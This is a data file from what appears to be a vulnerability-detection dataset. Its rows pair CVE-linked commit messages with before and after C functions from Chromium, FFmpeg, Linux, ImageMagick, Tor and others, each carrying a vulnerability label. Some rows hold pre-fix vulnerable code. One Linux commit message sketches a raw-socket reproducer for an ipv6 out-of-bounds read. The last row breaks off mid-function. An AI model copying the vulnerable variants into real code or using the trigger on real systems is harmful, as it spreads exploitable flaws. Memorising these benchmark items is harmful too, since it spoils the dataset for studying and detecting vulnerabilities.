CVE ID
stringlengths 13
43
⌀ | CVE Page
stringlengths 45
48
⌀ | CWE ID
stringclasses 90
values | codeLink
stringlengths 46
139
| commit_id
stringlengths 6
81
| commit_message
stringlengths 3
13.3k
⌀ | func_after
stringlengths 14
241k
| func_before
stringlengths 14
241k
| lang
stringclasses 3
values | project
stringclasses 309
values | vul
int8 0
1
|
|---|---|---|---|---|---|---|---|---|---|---|
null | null | null |
https://github.com/chromium/chromium/commit/87c15175997b0103166020d79fe9048dcf4025f4
|
87c15175997b0103166020d79fe9048dcf4025f4
|
Add support for horizontal mouse wheel messages in Windows Desktop Aura.
This is simply a matter of recognizing the WM_MOUSEHWHEEL message as a valid mouse wheel message.
Tested this on web pages with horizontal scrollbars and it works well.
BUG=332797
[email protected], sky
Review URL: https://codereview.chromium.org/140653006
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@245651 0039d316-1c4b-4281-b951-d872f2087c98
|
void UpdateDeviceList() {
NOTIMPLEMENTED();
}
|
void UpdateDeviceList() {
NOTIMPLEMENTED();
}
|
C
|
Chrome
| 0 |
CVE-2015-3417
|
https://www.cvedetails.com/cve/CVE-2015-3417/
| null |
https://github.com/FFmpeg/FFmpeg/commit/e8714f6f93d1a32f4e4655209960afcf4c185214
|
e8714f6f93d1a32f4e4655209960afcf4c185214
|
avcodec/h264: Clear delayed_pic on deallocation
Fixes use of freed memory
Fixes: case5_av_frame_copy_props.mp4
Found-by: Michal Zalewski <[email protected]>
Signed-off-by: Michael Niedermayer <[email protected]>
|
int ff_h264_check_intra_pred_mode(H264Context *h, int mode, int is_chroma)
{
static const int8_t top[4] = { LEFT_DC_PRED8x8, 1, -1, -1 };
static const int8_t left[5] = { TOP_DC_PRED8x8, -1, 2, -1, DC_128_PRED8x8 };
if (mode > 3U) {
av_log(h->avctx, AV_LOG_ERROR,
"out of range intra chroma pred mode at %d %d\n",
h->mb_x, h->mb_y);
return AVERROR_INVALIDDATA;
}
if (!(h->top_samples_available & 0x8000)) {
mode = top[mode];
if (mode < 0) {
av_log(h->avctx, AV_LOG_ERROR,
"top block unavailable for requested intra mode at %d %d\n",
h->mb_x, h->mb_y);
return AVERROR_INVALIDDATA;
}
}
if ((h->left_samples_available & 0x8080) != 0x8080) {
mode = left[mode];
if (mode < 0) {
av_log(h->avctx, AV_LOG_ERROR,
"left block unavailable for requested intra mode at %d %d\n",
h->mb_x, h->mb_y);
return AVERROR_INVALIDDATA;
}
if (is_chroma && (h->left_samples_available & 0x8080)) {
mode = ALZHEIMER_DC_L0T_PRED8x8 +
(!(h->left_samples_available & 0x8000)) +
2 * (mode == DC_128_PRED8x8);
}
}
return mode;
}
|
int ff_h264_check_intra_pred_mode(H264Context *h, int mode, int is_chroma)
{
static const int8_t top[4] = { LEFT_DC_PRED8x8, 1, -1, -1 };
static const int8_t left[5] = { TOP_DC_PRED8x8, -1, 2, -1, DC_128_PRED8x8 };
if (mode > 3U) {
av_log(h->avctx, AV_LOG_ERROR,
"out of range intra chroma pred mode at %d %d\n",
h->mb_x, h->mb_y);
return AVERROR_INVALIDDATA;
}
if (!(h->top_samples_available & 0x8000)) {
mode = top[mode];
if (mode < 0) {
av_log(h->avctx, AV_LOG_ERROR,
"top block unavailable for requested intra mode at %d %d\n",
h->mb_x, h->mb_y);
return AVERROR_INVALIDDATA;
}
}
if ((h->left_samples_available & 0x8080) != 0x8080) {
mode = left[mode];
if (mode < 0) {
av_log(h->avctx, AV_LOG_ERROR,
"left block unavailable for requested intra mode at %d %d\n",
h->mb_x, h->mb_y);
return AVERROR_INVALIDDATA;
}
if (is_chroma && (h->left_samples_available & 0x8080)) {
mode = ALZHEIMER_DC_L0T_PRED8x8 +
(!(h->left_samples_available & 0x8000)) +
2 * (mode == DC_128_PRED8x8);
}
}
return mode;
}
|
C
|
FFmpeg
| 0 |
CVE-2017-9074
|
https://www.cvedetails.com/cve/CVE-2017-9074/
|
CWE-125
|
https://github.com/torvalds/linux/commit/2423496af35d94a87156b063ea5cedffc10a70a1
|
2423496af35d94a87156b063ea5cedffc10a70a1
|
ipv6: Prevent overrun when parsing v6 header options
The KASAN warning repoted below was discovered with a syzkaller
program. The reproducer is basically:
int s = socket(AF_INET6, SOCK_RAW, NEXTHDR_HOP);
send(s, &one_byte_of_data, 1, MSG_MORE);
send(s, &more_than_mtu_bytes_data, 2000, 0);
The socket() call sets the nexthdr field of the v6 header to
NEXTHDR_HOP, the first send call primes the payload with a non zero
byte of data, and the second send call triggers the fragmentation path.
The fragmentation code tries to parse the header options in order
to figure out where to insert the fragment option. Since nexthdr points
to an invalid option, the calculation of the size of the network header
can made to be much larger than the linear section of the skb and data
is read outside of it.
This fix makes ip6_find_1stfrag return an error if it detects
running out-of-bounds.
[ 42.361487] ==================================================================
[ 42.364412] BUG: KASAN: slab-out-of-bounds in ip6_fragment+0x11c8/0x3730
[ 42.365471] Read of size 840 at addr ffff88000969e798 by task ip6_fragment-oo/3789
[ 42.366469]
[ 42.366696] CPU: 1 PID: 3789 Comm: ip6_fragment-oo Not tainted 4.11.0+ #41
[ 42.367628] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.10.1-1ubuntu1 04/01/2014
[ 42.368824] Call Trace:
[ 42.369183] dump_stack+0xb3/0x10b
[ 42.369664] print_address_description+0x73/0x290
[ 42.370325] kasan_report+0x252/0x370
[ 42.370839] ? ip6_fragment+0x11c8/0x3730
[ 42.371396] check_memory_region+0x13c/0x1a0
[ 42.371978] memcpy+0x23/0x50
[ 42.372395] ip6_fragment+0x11c8/0x3730
[ 42.372920] ? nf_ct_expect_unregister_notifier+0x110/0x110
[ 42.373681] ? ip6_copy_metadata+0x7f0/0x7f0
[ 42.374263] ? ip6_forward+0x2e30/0x2e30
[ 42.374803] ip6_finish_output+0x584/0x990
[ 42.375350] ip6_output+0x1b7/0x690
[ 42.375836] ? ip6_finish_output+0x990/0x990
[ 42.376411] ? ip6_fragment+0x3730/0x3730
[ 42.376968] ip6_local_out+0x95/0x160
[ 42.377471] ip6_send_skb+0xa1/0x330
[ 42.377969] ip6_push_pending_frames+0xb3/0xe0
[ 42.378589] rawv6_sendmsg+0x2051/0x2db0
[ 42.379129] ? rawv6_bind+0x8b0/0x8b0
[ 42.379633] ? _copy_from_user+0x84/0xe0
[ 42.380193] ? debug_check_no_locks_freed+0x290/0x290
[ 42.380878] ? ___sys_sendmsg+0x162/0x930
[ 42.381427] ? rcu_read_lock_sched_held+0xa3/0x120
[ 42.382074] ? sock_has_perm+0x1f6/0x290
[ 42.382614] ? ___sys_sendmsg+0x167/0x930
[ 42.383173] ? lock_downgrade+0x660/0x660
[ 42.383727] inet_sendmsg+0x123/0x500
[ 42.384226] ? inet_sendmsg+0x123/0x500
[ 42.384748] ? inet_recvmsg+0x540/0x540
[ 42.385263] sock_sendmsg+0xca/0x110
[ 42.385758] SYSC_sendto+0x217/0x380
[ 42.386249] ? SYSC_connect+0x310/0x310
[ 42.386783] ? __might_fault+0x110/0x1d0
[ 42.387324] ? lock_downgrade+0x660/0x660
[ 42.387880] ? __fget_light+0xa1/0x1f0
[ 42.388403] ? __fdget+0x18/0x20
[ 42.388851] ? sock_common_setsockopt+0x95/0xd0
[ 42.389472] ? SyS_setsockopt+0x17f/0x260
[ 42.390021] ? entry_SYSCALL_64_fastpath+0x5/0xbe
[ 42.390650] SyS_sendto+0x40/0x50
[ 42.391103] entry_SYSCALL_64_fastpath+0x1f/0xbe
[ 42.391731] RIP: 0033:0x7fbbb711e383
[ 42.392217] RSP: 002b:00007ffff4d34f28 EFLAGS: 00000246 ORIG_RAX: 000000000000002c
[ 42.393235] RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007fbbb711e383
[ 42.394195] RDX: 0000000000001000 RSI: 00007ffff4d34f60 RDI: 0000000000000003
[ 42.395145] RBP: 0000000000000046 R08: 00007ffff4d34f40 R09: 0000000000000018
[ 42.396056] R10: 0000000000000000 R11: 0000000000000246 R12: 0000000000400aad
[ 42.396598] R13: 0000000000000066 R14: 00007ffff4d34ee0 R15: 00007fbbb717af00
[ 42.397257]
[ 42.397411] Allocated by task 3789:
[ 42.397702] save_stack_trace+0x16/0x20
[ 42.398005] save_stack+0x46/0xd0
[ 42.398267] kasan_kmalloc+0xad/0xe0
[ 42.398548] kasan_slab_alloc+0x12/0x20
[ 42.398848] __kmalloc_node_track_caller+0xcb/0x380
[ 42.399224] __kmalloc_reserve.isra.32+0x41/0xe0
[ 42.399654] __alloc_skb+0xf8/0x580
[ 42.400003] sock_wmalloc+0xab/0xf0
[ 42.400346] __ip6_append_data.isra.41+0x2472/0x33d0
[ 42.400813] ip6_append_data+0x1a8/0x2f0
[ 42.401122] rawv6_sendmsg+0x11ee/0x2db0
[ 42.401505] inet_sendmsg+0x123/0x500
[ 42.401860] sock_sendmsg+0xca/0x110
[ 42.402209] ___sys_sendmsg+0x7cb/0x930
[ 42.402582] __sys_sendmsg+0xd9/0x190
[ 42.402941] SyS_sendmsg+0x2d/0x50
[ 42.403273] entry_SYSCALL_64_fastpath+0x1f/0xbe
[ 42.403718]
[ 42.403871] Freed by task 1794:
[ 42.404146] save_stack_trace+0x16/0x20
[ 42.404515] save_stack+0x46/0xd0
[ 42.404827] kasan_slab_free+0x72/0xc0
[ 42.405167] kfree+0xe8/0x2b0
[ 42.405462] skb_free_head+0x74/0xb0
[ 42.405806] skb_release_data+0x30e/0x3a0
[ 42.406198] skb_release_all+0x4a/0x60
[ 42.406563] consume_skb+0x113/0x2e0
[ 42.406910] skb_free_datagram+0x1a/0xe0
[ 42.407288] netlink_recvmsg+0x60d/0xe40
[ 42.407667] sock_recvmsg+0xd7/0x110
[ 42.408022] ___sys_recvmsg+0x25c/0x580
[ 42.408395] __sys_recvmsg+0xd6/0x190
[ 42.408753] SyS_recvmsg+0x2d/0x50
[ 42.409086] entry_SYSCALL_64_fastpath+0x1f/0xbe
[ 42.409513]
[ 42.409665] The buggy address belongs to the object at ffff88000969e780
[ 42.409665] which belongs to the cache kmalloc-512 of size 512
[ 42.410846] The buggy address is located 24 bytes inside of
[ 42.410846] 512-byte region [ffff88000969e780, ffff88000969e980)
[ 42.411941] The buggy address belongs to the page:
[ 42.412405] page:ffffea000025a780 count:1 mapcount:0 mapping: (null) index:0x0 compound_mapcount: 0
[ 42.413298] flags: 0x100000000008100(slab|head)
[ 42.413729] raw: 0100000000008100 0000000000000000 0000000000000000 00000001800c000c
[ 42.414387] raw: ffffea00002a9500 0000000900000007 ffff88000c401280 0000000000000000
[ 42.415074] page dumped because: kasan: bad access detected
[ 42.415604]
[ 42.415757] Memory state around the buggy address:
[ 42.416222] ffff88000969e880: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
[ 42.416904] ffff88000969e900: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
[ 42.417591] >ffff88000969e980: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
[ 42.418273] ^
[ 42.418588] ffff88000969ea00: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
[ 42.419273] ffff88000969ea80: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
[ 42.419882] ==================================================================
Reported-by: Andrey Konovalov <[email protected]>
Signed-off-by: Craig Gallek <[email protected]>
Signed-off-by: David S. Miller <[email protected]>
|
int ip6_dst_hoplimit(struct dst_entry *dst)
{
int hoplimit = dst_metric_raw(dst, RTAX_HOPLIMIT);
if (hoplimit == 0) {
struct net_device *dev = dst->dev;
struct inet6_dev *idev;
rcu_read_lock();
idev = __in6_dev_get(dev);
if (idev)
hoplimit = idev->cnf.hop_limit;
else
hoplimit = dev_net(dev)->ipv6.devconf_all->hop_limit;
rcu_read_unlock();
}
return hoplimit;
}
|
int ip6_dst_hoplimit(struct dst_entry *dst)
{
int hoplimit = dst_metric_raw(dst, RTAX_HOPLIMIT);
if (hoplimit == 0) {
struct net_device *dev = dst->dev;
struct inet6_dev *idev;
rcu_read_lock();
idev = __in6_dev_get(dev);
if (idev)
hoplimit = idev->cnf.hop_limit;
else
hoplimit = dev_net(dev)->ipv6.devconf_all->hop_limit;
rcu_read_unlock();
}
return hoplimit;
}
|
C
|
linux
| 0 |
CVE-2017-9202
|
https://www.cvedetails.com/cve/CVE-2017-9202/
|
CWE-369
|
https://github.com/jsummers/imageworsener/commit/dc49c807926b96e503bd7c0dec35119eecd6c6fe
|
dc49c807926b96e503bd7c0dec35119eecd6c6fe
|
Double-check that the input image's density is valid
Fixes a bug that could result in division by zero, at least for a JPEG
source image.
Fixes issues #19, #20
|
static void default_resize_settings(struct iw_resize_settings *rs)
{
int i;
rs->family = IW_RESIZETYPE_AUTO;
rs->edge_policy = IW_EDGE_POLICY_STANDARD;
rs->blur_factor = 1.0;
rs->translate = 0.0;
for(i=0;i<3;i++) {
rs->channel_offset[i] = 0.0;
}
}
|
static void default_resize_settings(struct iw_resize_settings *rs)
{
int i;
rs->family = IW_RESIZETYPE_AUTO;
rs->edge_policy = IW_EDGE_POLICY_STANDARD;
rs->blur_factor = 1.0;
rs->translate = 0.0;
for(i=0;i<3;i++) {
rs->channel_offset[i] = 0.0;
}
}
|
C
|
imageworsener
| 0 |
CVE-2013-0839
|
https://www.cvedetails.com/cve/CVE-2013-0839/
|
CWE-399
|
https://github.com/chromium/chromium/commit/dd3b6fe574edad231c01c78e4647a74c38dc4178
|
dd3b6fe574edad231c01c78e4647a74c38dc4178
|
Remove parent* arg from GDataEntry ctor.
* Remove static FromDocumentEntry from GDataEntry, GDataFile, GDataDirectory. Replace with InitFromDocumentEntry.
* Move common code from GDataFile::InitFromDocumentEntry and GDataDirectory::InitFromDocumentEntry to GDataEntry::InitFromDocumentEntry.
* Add GDataDirectoryService::FromDocumentEntry and use this everywhere.
* Make ctors of GDataFile, GDataDirectory private, so these must be created by GDataDirectoryService's CreateGDataFile and
CreateGDataDirectory. Make GDataEntry ctor protected.
BUG=141494
TEST=unit tests.
Review URL: https://chromiumcodereview.appspot.com/10854083
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@151008 0039d316-1c4b-4281-b951-d872f2087c98
|
GDataFileSystem::GetFileFromCacheParams::~GetFileFromCacheParams() {
}
|
GDataFileSystem::GetFileFromCacheParams::~GetFileFromCacheParams() {
}
|
C
|
Chrome
| 0 |
CVE-2017-8063
|
https://www.cvedetails.com/cve/CVE-2017-8063/
|
CWE-119
|
https://github.com/torvalds/linux/commit/3f190e3aec212fc8c61e202c51400afa7384d4bc
|
3f190e3aec212fc8c61e202c51400afa7384d4bc
|
[media] cxusb: Use a dma capable buffer also for reading
Commit 17ce039b4e54 ("[media] cxusb: don't do DMA on stack")
added a kmalloc'ed bounce buffer for writes, but missed to do the same
for reads. As the read only happens after the write is finished, we can
reuse the same buffer.
As dvb_usb_generic_rw handles a read length of 0 by itself, avoid calling
it using the dvb_usb_generic_read wrapper function.
Signed-off-by: Stefan Brüns <[email protected]>
Signed-off-by: Mauro Carvalho Chehab <[email protected]>
|
static int cxusb_d680_dmb_streaming_ctrl(
struct dvb_usb_adapter *adap, int onoff)
{
if (onoff) {
u8 buf[2] = { 0x03, 0x00 };
cxusb_d680_dmb_drain_video(adap->dev);
return cxusb_ctrl_msg(adap->dev, CMD_STREAMING_ON,
buf, sizeof(buf), NULL, 0);
} else {
int ret = cxusb_ctrl_msg(adap->dev,
CMD_STREAMING_OFF, NULL, 0, NULL, 0);
return ret;
}
}
|
static int cxusb_d680_dmb_streaming_ctrl(
struct dvb_usb_adapter *adap, int onoff)
{
if (onoff) {
u8 buf[2] = { 0x03, 0x00 };
cxusb_d680_dmb_drain_video(adap->dev);
return cxusb_ctrl_msg(adap->dev, CMD_STREAMING_ON,
buf, sizeof(buf), NULL, 0);
} else {
int ret = cxusb_ctrl_msg(adap->dev,
CMD_STREAMING_OFF, NULL, 0, NULL, 0);
return ret;
}
}
|
C
|
linux
| 0 |
CVE-2018-6096
|
https://www.cvedetails.com/cve/CVE-2018-6096/
| null |
https://github.com/chromium/chromium/commit/36f801fdbec07d116a6f4f07bb363f10897d6a51
|
36f801fdbec07d116a6f4f07bb363f10897d6a51
|
If a page calls |window.focus()|, kick it out of fullscreen.
BUG=776418, 800056
Change-Id: I1880fe600e4814c073f247c43b1c1ac80c8fc017
Reviewed-on: https://chromium-review.googlesource.com/852378
Reviewed-by: Nasko Oskov <[email protected]>
Reviewed-by: Philip Jägenstedt <[email protected]>
Commit-Queue: Avi Drissman <[email protected]>
Cr-Commit-Position: refs/heads/master@{#533790}
|
void RenderViewImpl::DidCompletePageScaleAnimation() {
if (auto* focused_frame = GetWebView()->FocusedFrame()) {
if (focused_frame->AutofillClient())
focused_frame->AutofillClient()->DidCompleteFocusChangeInFrame();
}
}
|
void RenderViewImpl::DidCompletePageScaleAnimation() {
if (auto* focused_frame = GetWebView()->FocusedFrame()) {
if (focused_frame->AutofillClient())
focused_frame->AutofillClient()->DidCompleteFocusChangeInFrame();
}
}
|
C
|
Chrome
| 0 |
CVE-2015-8898
|
https://www.cvedetails.com/cve/CVE-2015-8898/
|
CWE-476
|
https://github.com/ImageMagick/ImageMagick/commit/5b4bebaa91849c592a8448bc353ab25a54ff8c44
|
5b4bebaa91849c592a8448bc353ab25a54ff8c44
|
https://github.com/ImageMagick/ImageMagick/pull/34
|
MagickExport Image *PingImages(ImageInfo *image_info,const char *filename,
ExceptionInfo *exception)
{
char
ping_filename[MagickPathExtent];
Image
*image,
*images;
ImageInfo
*read_info;
/*
Ping image list from a file.
*/
assert(image_info != (ImageInfo *) NULL);
assert(image_info->signature == MagickCoreSignature);
if (image_info->debug != MagickFalse)
(void) LogMagickEvent(TraceEvent,GetMagickModule(),"%s",
image_info->filename);
assert(exception != (ExceptionInfo *) NULL);
(void) SetImageOption(image_info,"filename",filename);
(void) CopyMagickString(image_info->filename,filename,MagickPathExtent);
(void) InterpretImageFilename(image_info,(Image *) NULL,image_info->filename,
(int) image_info->scene,ping_filename,exception);
if (LocaleCompare(ping_filename,image_info->filename) != 0)
{
ExceptionInfo
*sans;
ssize_t
extent,
scene;
/*
Images of the form image-%d.png[1-5].
*/
read_info=CloneImageInfo(image_info);
sans=AcquireExceptionInfo();
(void) SetImageInfo(read_info,0,sans);
sans=DestroyExceptionInfo(sans);
if (read_info->number_scenes == 0)
{
read_info=DestroyImageInfo(read_info);
return(PingImage(image_info,exception));
}
(void) CopyMagickString(ping_filename,read_info->filename,MagickPathExtent);
images=NewImageList();
extent=(ssize_t) (read_info->scene+read_info->number_scenes);
for (scene=(ssize_t) read_info->scene; scene < (ssize_t) extent; scene++)
{
(void) InterpretImageFilename(image_info,(Image *) NULL,ping_filename,
(int) scene,read_info->filename,exception);
image=PingImage(read_info,exception);
if (image == (Image *) NULL)
continue;
AppendImageToList(&images,image);
}
read_info=DestroyImageInfo(read_info);
return(images);
}
return(PingImage(image_info,exception));
}
|
MagickExport Image *PingImages(ImageInfo *image_info,const char *filename,
ExceptionInfo *exception)
{
char
ping_filename[MagickPathExtent];
Image
*image,
*images;
ImageInfo
*read_info;
/*
Ping image list from a file.
*/
assert(image_info != (ImageInfo *) NULL);
assert(image_info->signature == MagickCoreSignature);
if (image_info->debug != MagickFalse)
(void) LogMagickEvent(TraceEvent,GetMagickModule(),"%s",
image_info->filename);
assert(exception != (ExceptionInfo *) NULL);
(void) SetImageOption(image_info,"filename",filename);
(void) CopyMagickString(image_info->filename,filename,MagickPathExtent);
(void) InterpretImageFilename(image_info,(Image *) NULL,image_info->filename,
(int) image_info->scene,ping_filename,exception);
if (LocaleCompare(ping_filename,image_info->filename) != 0)
{
ExceptionInfo
*sans;
ssize_t
extent,
scene;
/*
Images of the form image-%d.png[1-5].
*/
read_info=CloneImageInfo(image_info);
sans=AcquireExceptionInfo();
(void) SetImageInfo(read_info,0,sans);
sans=DestroyExceptionInfo(sans);
if (read_info->number_scenes == 0)
{
read_info=DestroyImageInfo(read_info);
return(PingImage(image_info,exception));
}
(void) CopyMagickString(ping_filename,read_info->filename,MagickPathExtent);
images=NewImageList();
extent=(ssize_t) (read_info->scene+read_info->number_scenes);
for (scene=(ssize_t) read_info->scene; scene < (ssize_t) extent; scene++)
{
(void) InterpretImageFilename(image_info,(Image *) NULL,ping_filename,
(int) scene,read_info->filename,exception);
image=PingImage(read_info,exception);
if (image == (Image *) NULL)
continue;
AppendImageToList(&images,image);
}
read_info=DestroyImageInfo(read_info);
return(images);
}
return(PingImage(image_info,exception));
}
|
C
|
ImageMagick
| 0 |
CVE-2017-0375
|
https://www.cvedetails.com/cve/CVE-2017-0375/
|
CWE-617
|
https://github.com/torproject/tor/commit/79b59a2dfcb68897ee89d98587d09e55f07e68d7
|
79b59a2dfcb68897ee89d98587d09e55f07e68d7
|
TROVE-2017-004: Fix assertion failure in relay_send_end_cell_from_edge_
This fixes an assertion failure in relay_send_end_cell_from_edge_() when an
origin circuit and a cpath_layer = NULL were passed.
A service rendezvous circuit could do such a thing when a malformed BEGIN cell
is received but shouldn't in the first place because the service needs to send
an END cell on the circuit for which it can not do without a cpath_layer.
Fixes #22493
Reported-by: Roger Dingledine <[email protected]>
Signed-off-by: David Goulet <[email protected]>
|
connection_ap_process_transparent(entry_connection_t *conn)
{
socks_request_t *socks;
tor_assert(conn);
tor_assert(conn->socks_request);
socks = conn->socks_request;
/* pretend that a socks handshake completed so we don't try to
* send a socks reply down a transparent conn */
socks->command = SOCKS_COMMAND_CONNECT;
socks->has_finished = 1;
log_debug(LD_APP,"entered.");
if (connection_ap_get_original_destination(conn, socks) < 0) {
log_warn(LD_APP,"Fetching original destination failed. Closing.");
connection_mark_unattached_ap(conn,
END_STREAM_REASON_CANT_FETCH_ORIG_DEST);
return -1;
}
/* we have the original destination */
control_event_stream_status(conn, STREAM_EVENT_NEW, 0);
return connection_ap_rewrite_and_attach_if_allowed(conn, NULL, NULL);
}
|
connection_ap_process_transparent(entry_connection_t *conn)
{
socks_request_t *socks;
tor_assert(conn);
tor_assert(conn->socks_request);
socks = conn->socks_request;
/* pretend that a socks handshake completed so we don't try to
* send a socks reply down a transparent conn */
socks->command = SOCKS_COMMAND_CONNECT;
socks->has_finished = 1;
log_debug(LD_APP,"entered.");
if (connection_ap_get_original_destination(conn, socks) < 0) {
log_warn(LD_APP,"Fetching original destination failed. Closing.");
connection_mark_unattached_ap(conn,
END_STREAM_REASON_CANT_FETCH_ORIG_DEST);
return -1;
}
/* we have the original destination */
control_event_stream_status(conn, STREAM_EVENT_NEW, 0);
return connection_ap_rewrite_and_attach_if_allowed(conn, NULL, NULL);
}
|
C
|
tor
| 0 |
CVE-2018-6063
|
https://www.cvedetails.com/cve/CVE-2018-6063/
|
CWE-787
|
https://github.com/chromium/chromium/commit/673ce95d481ea9368c4d4d43ac756ba1d6d9e608
|
673ce95d481ea9368c4d4d43ac756ba1d6d9e608
|
Correct mojo::WrapSharedMemoryHandle usage
Fixes some incorrect uses of mojo::WrapSharedMemoryHandle which
were assuming that the call actually has any control over the memory
protection applied to a handle when mapped.
Where fixing usage is infeasible for this CL, TODOs are added to
annotate follow-up work.
Also updates the API and documentation to (hopefully) improve clarity
and avoid similar mistakes from being made in the future.
BUG=792900
Cq-Include-Trybots: master.tryserver.chromium.android:android_optional_gpu_tests_rel;master.tryserver.chromium.linux:linux_optional_gpu_tests_rel;master.tryserver.chromium.mac:mac_optional_gpu_tests_rel;master.tryserver.chromium.win:win_optional_gpu_tests_rel
Change-Id: I0578aaa9ca3bfcb01aaf2451315d1ede95458477
Reviewed-on: https://chromium-review.googlesource.com/818282
Reviewed-by: Wei Li <[email protected]>
Reviewed-by: Lei Zhang <[email protected]>
Reviewed-by: John Abd-El-Malek <[email protected]>
Reviewed-by: Daniel Cheng <[email protected]>
Reviewed-by: Sadrul Chowdhury <[email protected]>
Reviewed-by: Yuzhu Shen <[email protected]>
Reviewed-by: Robert Sesek <[email protected]>
Commit-Queue: Ken Rockot <[email protected]>
Cr-Commit-Position: refs/heads/master@{#530268}
|
mojo::ScopedSharedBufferHandle GamepadProvider::GetSharedBufferHandle() {
return mojo::WrapSharedMemoryHandle(
gamepad_shared_buffer_->shared_memory()->GetReadOnlyHandle(),
sizeof(GamepadHardwareBuffer),
mojo::UnwrappedSharedMemoryHandleProtection::kReadOnly);
}
|
mojo::ScopedSharedBufferHandle GamepadProvider::GetSharedBufferHandle() {
base::SharedMemoryHandle handle = base::SharedMemory::DuplicateHandle(
gamepad_shared_buffer_->shared_memory()->handle());
return mojo::WrapSharedMemoryHandle(handle, sizeof(GamepadHardwareBuffer),
true /* read_only */);
}
|
C
|
Chrome
| 1 |
CVE-2018-16540
|
https://www.cvedetails.com/cve/CVE-2018-16540/
|
CWE-416
|
http://git.ghostscript.com/?p=ghostpdl.git;a=commit;h=c432131c3fdb2143e148e8ba88555f7f7a63b25e
|
c432131c3fdb2143e148e8ba88555f7f7a63b25e
| null |
pdf14_grayspot_get_color_mapping_procs(const gx_device * dev)
{
return &pdf14_DeviceGrayspot_procs;
}
|
pdf14_grayspot_get_color_mapping_procs(const gx_device * dev)
{
return &pdf14_DeviceGrayspot_procs;
}
|
C
|
ghostscript
| 0 |
CVE-2017-6439
|
https://www.cvedetails.com/cve/CVE-2017-6439/
|
CWE-787
|
https://github.com/libimobiledevice/libplist/commit/32ee5213fe64f1e10ec76c1ee861ee6f233120dd
|
32ee5213fe64f1e10ec76c1ee861ee6f233120dd
|
bplist: Fix data range check for string/data/dict/array nodes
Passing a size of 0xFFFFFFFFFFFFFFFF to parse_string_node() might result
in a memcpy with a size of -1, leading to undefined behavior.
This commit makes sure that the actual node data (which depends on the size)
is in the range start_of_object..start_of_object+size.
Credit to OSS-Fuzz
|
void plist_bin_deinit(void)
{
/* deinit binary plist stuff */
}
|
void plist_bin_deinit(void)
{
/* deinit binary plist stuff */
}
|
C
|
libplist
| 0 |
CVE-2011-1799
|
https://www.cvedetails.com/cve/CVE-2011-1799/
|
CWE-20
|
https://github.com/chromium/chromium/commit/5fd35e5359c6345b8709695cd71fba307318e6aa
|
5fd35e5359c6345b8709695cd71fba307318e6aa
|
Source/WebCore: Fix for bug 64046 - Wrong image height in absolutely positioned div in
relatively positioned parent with bottom padding.
https://bugs.webkit.org/show_bug.cgi?id=64046
Patch by Kulanthaivel Palanichamy <[email protected]> on 2011-07-21
Reviewed by David Hyatt.
Test: fast/css/absolute-child-with-percent-height-inside-relative-parent.html
* rendering/RenderBox.cpp:
(WebCore::RenderBox::availableLogicalHeightUsing):
LayoutTests: Test to cover absolutely positioned child with percentage height
in relatively positioned parent with bottom padding.
https://bugs.webkit.org/show_bug.cgi?id=64046
Patch by Kulanthaivel Palanichamy <[email protected]> on 2011-07-21
Reviewed by David Hyatt.
* fast/css/absolute-child-with-percent-height-inside-relative-parent-expected.txt: Added.
* fast/css/absolute-child-with-percent-height-inside-relative-parent.html: Added.
git-svn-id: svn://svn.chromium.org/blink/trunk@91533 bbb929c8-8fbe-4397-9dbb-9b2b20218538
|
LayoutUnit RenderBox::computePercentageLogicalHeight(const Length& height)
{
LayoutUnit result = -1;
bool skippedAutoHeightContainingBlock = false;
RenderBlock* cb = containingBlock();
while (!cb->isRenderView() && !cb->isBody() && !cb->isTableCell() && !cb->isPositioned() && cb->style()->logicalHeight().isAuto()) {
if (!document()->inQuirksMode() && !cb->isAnonymousBlock())
break;
skippedAutoHeightContainingBlock = true;
cb = cb->containingBlock();
cb->addPercentHeightDescendant(this);
}
bool isPositionedWithSpecifiedHeight = cb->isPositioned() && (!cb->style()->logicalHeight().isAuto() || (!cb->style()->top().isAuto() && !cb->style()->bottom().isAuto()));
bool includeBorderPadding = isTable();
if (cb->isTableCell()) {
if (!skippedAutoHeightContainingBlock) {
if (!cb->hasOverrideSize()) {
RenderTableCell* cell = toRenderTableCell(cb);
if (scrollsOverflowY() && (!cell->style()->logicalHeight().isAuto() || !cell->table()->style()->logicalHeight().isAuto()))
return 0;
return -1;
}
result = cb->overrideHeight();
includeBorderPadding = true;
}
}
else if (cb->style()->logicalHeight().isFixed())
result = cb->computeContentBoxLogicalHeight(cb->style()->logicalHeight().value());
else if (cb->style()->logicalHeight().isPercent() && !isPositionedWithSpecifiedHeight) {
result = cb->computePercentageLogicalHeight(cb->style()->logicalHeight());
if (result != -1)
result = cb->computeContentBoxLogicalHeight(result);
} else if (cb->isRenderView() || (cb->isBody() && document()->inQuirksMode()) || isPositionedWithSpecifiedHeight) {
LayoutUnit oldHeight = cb->logicalHeight();
cb->computeLogicalHeight();
result = cb->contentLogicalHeight();
cb->setLogicalHeight(oldHeight);
} else if (cb->isRoot() && isPositioned())
result = cb->computeContentBoxLogicalHeight(cb->availableLogicalHeight());
if (result != -1) {
result = height.calcValue(result);
if (includeBorderPadding) {
result -= borderAndPaddingLogicalHeight();
result = max<LayoutUnit>(0, result);
}
}
return result;
}
|
LayoutUnit RenderBox::computePercentageLogicalHeight(const Length& height)
{
LayoutUnit result = -1;
bool skippedAutoHeightContainingBlock = false;
RenderBlock* cb = containingBlock();
while (!cb->isRenderView() && !cb->isBody() && !cb->isTableCell() && !cb->isPositioned() && cb->style()->logicalHeight().isAuto()) {
if (!document()->inQuirksMode() && !cb->isAnonymousBlock())
break;
skippedAutoHeightContainingBlock = true;
cb = cb->containingBlock();
cb->addPercentHeightDescendant(this);
}
bool isPositionedWithSpecifiedHeight = cb->isPositioned() && (!cb->style()->logicalHeight().isAuto() || (!cb->style()->top().isAuto() && !cb->style()->bottom().isAuto()));
bool includeBorderPadding = isTable();
if (cb->isTableCell()) {
if (!skippedAutoHeightContainingBlock) {
if (!cb->hasOverrideSize()) {
RenderTableCell* cell = toRenderTableCell(cb);
